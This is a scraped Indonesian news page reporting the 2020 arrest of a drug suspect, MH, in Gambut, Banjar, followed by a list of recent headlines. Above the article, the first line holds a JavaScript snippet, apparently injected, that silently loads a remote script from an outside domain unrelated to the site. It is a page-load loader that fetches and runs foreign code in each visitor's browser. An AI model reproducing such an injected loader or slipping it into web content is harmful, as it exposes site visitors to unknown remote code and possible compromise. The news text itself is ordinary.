(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KRIMINAL BANJAR

MH Susul SA ke Tahanan Mapolsek Gambut


KANALKALIMANTAN.COM, MARTAPURA – Setelah dilakukan pengembangan atas tertangkap SA (25) di pinggir jalan A Yani Km 11 Kelurahan Gambut Barat, Kecamatan Gambut Kabupaten Banjar, pada Sabtu, (26/9/2020) siang, menyusul MH yang diciduk karena kepemilikan narkoba jenis sabu.

Setelah diintrogasi oleh polisi,  SA (25) mengaku, kalau barang haram tersebut di dapatnya dari MH (28), warga jalan Prona Pemurus Dalam, Kecamatan Banjarmasin Selatan, Kota Banjarmasin.

Mengantongi satu nama lainnya, polisi tidak mau kehilangan buruanya. Anggota Polsek Gambut langsung bergerak cepat menuju rumah tersangka MH.

Kapolsek Gambut Iptu Jenny Rahman mengtakan, tersangka MH dijemput di sebuah rumah yang terletak di jalan Prona Pemurus Dalam Kecamatan, Banjarmasin Selatan Kota Banjarmasin, pada Sabtu (26/9/2020) menjelang Magrib, tanpa melakuan perlawanan.

Di kediaman tersangka MH, polisi langsung menggeledah seisi rumah dan mendapatkan dari dalam kamar MH, tiga paket narkotik jenis sabu yang di simpan di dalam tas.

“Saat kita lakukan penggeledahan di dalam kamar MH, kita mendapatkan 1 buah tas pinggang warna hitam yang tergantung di dinding kamar, di dalam tas tersebut ada 3 paket sabu beserta uang hasil penjualan sebesar Rp. 50 ribu, serta satu buah handphone,” ungkapnya kepada kanalkaliamantan.com, Senin (28/9/2020) siang.

Pihak kepolisian masih melakukan pengembangan dan penyelidikan atas teman SA yang kabur pada saat dicegat di jalan. “Untuk kawan SA yang kabur pada saat itu, kita masih melakukan pengembangan dan penyelidikan,” ungkap Iptu Jenny Rahman.

Kini kedua tersangka sudah berada di tahahan Maplsek Gambut, atas perbuatanya kedua tersangka terancam hukuman minimal 4 tahun, dan paling lama 12 tahun kurungan penjara dan pidana denda paling sedikit Rp. 800 juta. (kanalkalimantan.com/wahyu)

Reporter: Wahyu
Editor : Bie


Desy Arfianty

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

15 menit ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

3 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

7 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

7 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

7 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

9 jam ago

This website uses cookies.